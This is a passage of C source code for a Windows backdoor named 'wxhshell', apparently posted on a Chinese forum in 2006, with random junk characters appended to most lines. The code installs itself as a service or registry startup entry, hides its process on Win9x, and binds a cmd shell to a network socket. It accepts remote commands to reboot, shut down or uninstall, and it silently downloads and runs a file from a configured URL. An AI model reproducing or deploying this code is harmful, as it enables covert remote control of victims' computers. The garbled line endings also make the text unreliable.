  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9AROvq|#  
  } Fl^}tC  
  else { RU^lR8;  
!.ot&EbE  
    switch(cmd[0]) { 3e.v'ccK&  
  Kzd`|+?'`M  
  // 帮助 h7H#sL[^  
  case '?': { M1f ^Lx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); StuDtY  
    break; jW-j+ WGSM  
  } (SlrV8;  
  // 安装 { !C';^  
  case 'i': { boR&'yX  
    if(Install()) tT;=l[7%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y`EcBf  
    else Gv,0{DVX<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Xc[EUi<;g  
    break; 6QOdd 6_d  
    } y'<juaw  
  // 卸载 |ei?s1)  
  case 'r': { `[;b#.  
    if(Uninstall()) $MmCh&V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .qioEqK8!y  
    else Zbp ByRyN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q\~4J1  
    break; [k9aY$baT^  
    } e,}]K'!t  
  // 显示 wxhshell 所在路径 .FnO  
  case 'p': { 3?vasL  
    char svExeFile[MAX_PATH]; .wD>0Ig  
    strcpy(svExeFile,"\n\r"); o 2 5kFD  
      strcat(svExeFile,ExeFile); x hFQjV?V  
        send(wsh,svExeFile,strlen(svExeFile),0); ~{[~ =~\u  
    break; u|=G#y;3  
    } eYurg6Ob~  
  // 重启 b-{\manH  
  case 'b': { L30x2\C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KsGSs9  
    if(Boot(REBOOT)) V X<ZB +R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gnoV>ON0  
    else { W.ud<OKP90  
    closesocket(wsh); b\ %=mN  
    ExitThread(0); OH28H),}  
    } 7"r7F#D=G  
    break; -P5VE0  
    } S #X$QD  
  // 关机 2oAPJUPOJ  
  case 'd': { daaEN(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QY2!.a^q  
    if(Boot(SHUTDOWN)) sa`7_KB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KLXv?4!  
    else { l{4=La{?j  
    closesocket(wsh); ^)b*"o  
    ExitThread(0); buRXzSR  
    } )Xa`LG =|  
    break; /c`)Er 6d  
    } <GShm~XD2  
  // 获取shell j8@YoD5o  
  case 's': { L;xc,"\3  
    CmdShell(wsh); yg "u^*r&  
    closesocket(wsh); B:tST(  
    ExitThread(0); I C9:&C[  
    break; B7TA:K  
  } MjG=6.J|`  
  // 退出 `"M=ZVk  
  case 'x': { e+=Ojo#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kRskeMr:Rd  
    CloseIt(wsh); qqSk*oH~  
    break; Mno4z/4{A  
    } =4yME  
  // 离开 lMp)T**  
  case 'q': { -<}_K,Ky`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :n>m">4  
    closesocket(wsh); XN]kNJX  
    WSACleanup(); :SSe0ZZ_6b  
    exit(1); J']1^"_'  
    break; &oYX093di  
        } /g'F+{v  
  } hH{&k>  
  } E$f.&<>T  
%\[LM$f{z  
  // 提示信息 R |8)iW^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hbx=vLQ6  
} b}o^ ?NtA  
  } 6+FmYp  
mN_RB{g{  
  return; iO3@2J  
} Tm[IOuhM'?  
X'ryfa1|  
// shell模块句柄 c^UG}:Y  
int CmdShell(SOCKET sock) ;hmy7M1%  
{ k5=0L_xc  
STARTUPINFO si; j,Qp*b#Qo  
ZeroMemory(&si,sizeof(si)); 8@Xq ,J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KCDEMs}}zM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ar=uDb;  
PROCESS_INFORMATION ProcessInfo; Kw&J< H  
char cmdline[]="cmd"; 'wLQ9o%=p|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^ {-J Y  
  return 0; MH`f!%c  
} znFa4  
MaXgy|yB1  
// 自身启动模式 r3/H_Z  
int StartFromService(void) o{?s\)aBa  
{ DK&J"0jz,  
typedef struct LnxJFc:1K  
{ Wze\z  
  DWORD ExitStatus; CP'?Om2  
  DWORD PebBaseAddress; br>"96A1l  
  DWORD AffinityMask; JpD<2Mz_|V  
  DWORD BasePriority; lz faW-nu  
  ULONG UniqueProcessId; zOCru2/  
  ULONG InheritedFromUniqueProcessId; -JaC~v(0  
}   PROCESS_BASIC_INFORMATION; i=.zkIjSh  
Cz+>S3v M  
PROCNTQSIP NtQueryInformationProcess; 7:R8QS9  
yiSv#wD9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <:2El9l!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $dgY#ST%  
z(aei(U=  
  HANDLE             hProcess; y0M^oLx  
  PROCESS_BASIC_INFORMATION pbi; b(I-0<  
(m\PcF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HzF  
  if(NULL == hInst ) return 0; B~V^?."  
OCa74)(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /^ i7^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ON~SZa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gsqlWfa  
60*2k  
  if (!NtQueryInformationProcess) return 0; TV#pUQ3K  
g03I<<|@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F# y5T3(P  
  if(!hProcess) return 0; hoD (G X  
ZTVX5"#Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4W*52*'F,  
S j)&!  
  CloseHandle(hProcess); 0j7W\'!t  
~M3`mO+^U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #O/ihRoaO  
if(hProcess==NULL) return 0; s}uOht} o  
>pbO\=j]X  
HMODULE hMod; LS+ _y <v=  
char procName[255]; GP<A v1  
unsigned long cbNeeded; Qn ME|j\  
/=*h\8c~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r;g[<6`!S  
(Gp/^[.%&  
  CloseHandle(hProcess); Q35$GFj"jD  
Waj6.PCFm  
if(strstr(procName,"services")) return 1; // 以服务启动 >Olg lUzA  
-Id4P _y  
  return 0; // 注册表启动 y$Sn3_9 V  
} 3~ ;LNi  
-uIu-a]  
// 主模块 3'}(:X(  
int StartWxhshell(LPSTR lpCmdLine) "9jt2@<  
{ b lP@Cn2  
  SOCKET wsl; |,c QJ  
BOOL val=TRUE; Fo=Icvo  
  int port=0; g'ha7~w(p  
  struct sockaddr_in door; s3>,%8O6  
] +<[D2f  
  if(wscfg.ws_autoins) Install(); R?b3G4~  
1N{}G$'Go  
port=atoi(lpCmdLine); 5 >S #ew  
=&;orP  
if(port<=0) port=wscfg.ws_port; ]B/Gz  
 s!X@ l  
  WSADATA data; 0?8O9i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NGcd  
SU~t7Ta!G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P$ZIKkf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !K-lO{Z^  
  door.sin_family = AF_INET; wmAZ {  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  $A]2Iw!&  
  door.sin_port = htons(port); 18f!k  
: W6`{Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5ltEnvN  
closesocket(wsl); ?{[ ISk)  
return 1; M{cF14cQ  
} k&wCa<Rs~R  
>?aPX C  
  if(listen(wsl,2) == INVALID_SOCKET) { Tw *:Vw  
closesocket(wsl); Sio^FOTD  
return 1; KX D&FDkF  
} :,Z'/e0&  
  Wxhshell(wsl); >-J%=P  
  WSACleanup(); _;L%? -2c  
QVLv}w`O  
return 0; z*n  
Yef=HSzo  
} (8T36pt~  
sQUJ]h  
// 以NT服务方式启动 3D32'KO_"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NbgK# ;  
{ zGzeu)d  
DWORD   status = 0; A#;6~f  
  DWORD   specificError = 0xfffffff; aO8n\'bv  
< %@e<,8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HHVCw7r0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )r2$!(NQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8T<LNC  
  serviceStatus.dwWin32ExitCode     = 0; ;w>Dqem  
  serviceStatus.dwServiceSpecificExitCode = 0; vP6NIcWC3  
  serviceStatus.dwCheckPoint       = 0; }p,#rOX:A  
  serviceStatus.dwWaitHint       = 0; (K9pr>le  
\OPJ*/U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0<tce  
  if (hServiceStatusHandle==0) return; ^{Wx\+*!  
hWc`4xdl  
status = GetLastError(); aT|SKb`  
  if (status!=NO_ERROR) ]nPfIBoS  
{ :{sy2g/+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >=Bl/0YH  
    serviceStatus.dwCheckPoint       = 0; lw+Y_;  
    serviceStatus.dwWaitHint       = 0; ASGV3r (  
    serviceStatus.dwWin32ExitCode     = status; {zzc/!|  
    serviceStatus.dwServiceSpecificExitCode = specificError; X!H[/b:1O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @jh\yjrW  
    return; ]JDKoA{S0  
  } <14,xYpE  
5i71@?q;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  PL"u^G`  
  serviceStatus.dwCheckPoint       = 0; TwPp Z@  
  serviceStatus.dwWaitHint       = 0; D)shWJRlvW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )/4eT\=  
} a(.q=W  
&[ oW"Q{  
// 处理NT服务事件,比如:启动、停止 1. A@5*Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6=N!()s  
{ RJ}%pA4I  
switch(fdwControl) yM,.{m@F<  
{ . -ihxEbzr  
case SERVICE_CONTROL_STOP: ;ctPe[5  
  serviceStatus.dwWin32ExitCode = 0; *<HA])D,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eBT+|  
  serviceStatus.dwCheckPoint   = 0; CgT5sk}  
  serviceStatus.dwWaitHint     = 0; {7d(B1[1  
  { <S[]VXy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BjX*Gm6l  
  } ,4W~CkLD  
  return; %u=b_4K"j  
case SERVICE_CONTROL_PAUSE: xWRkg$A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T-MC|>pv  
  break; FYBW3y+AF&  
case SERVICE_CONTROL_CONTINUE: ]?p 9)d=%<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !LI 8Xk  
  break; DP@F-Q4  
case SERVICE_CONTROL_INTERROGATE: jJ.isr|`  
  break; ATRB9  
}; wWYo\WH'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gh9Gc1tKt  
} Pzt 5'O@dA  
cG)U01/"  
// 标准应用程序主函数 C>NLZM T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F)8M9%g5m  
{ s2=`haYu  
{!0f.nv  
// 获取操作系统版本 4De2m iq  
OsIsNt=GetOsVer(); xaN[ru@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D( \c?X"  
kR0/jEz C  
  // 从命令行安装 :<p3L!?8y  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1S{AGgls5  
)# os!Ns_A  
  // 下载执行文件 $G<!+^T  
if(wscfg.ws_downexe) { >mAi/TZC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <nvzNXql  
  WinExec(wscfg.ws_filenam,SW_HIDE); YMG~k3Yb  
} 2 xE+"?0  
'Lu d=u{  
if(!OsIsNt) { f|+aa6hN  
// 如果时win9x,隐藏进程并且设置为注册表启动 E !EENg  
HideProc(); 1[] 9EJ  
StartWxhshell(lpCmdLine); }'`iJ b\  
} Mg~62u  
else V}aZ}m{J  
  if(StartFromService())  u> @@  
  // 以服务方式启动 %/n#{;c#  
  StartServiceCtrlDispatcher(DispatchTable); H|%'$oWp  
else T`$!/BlZ  
  // 普通方式启动 mXwDB)O{)  
  StartWxhshell(lpCmdLine); 50`=[l`V  
zI7iZ"2a  
return 0; Um~DA  
}
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只看该作者 1 发表于: 2006-10-10
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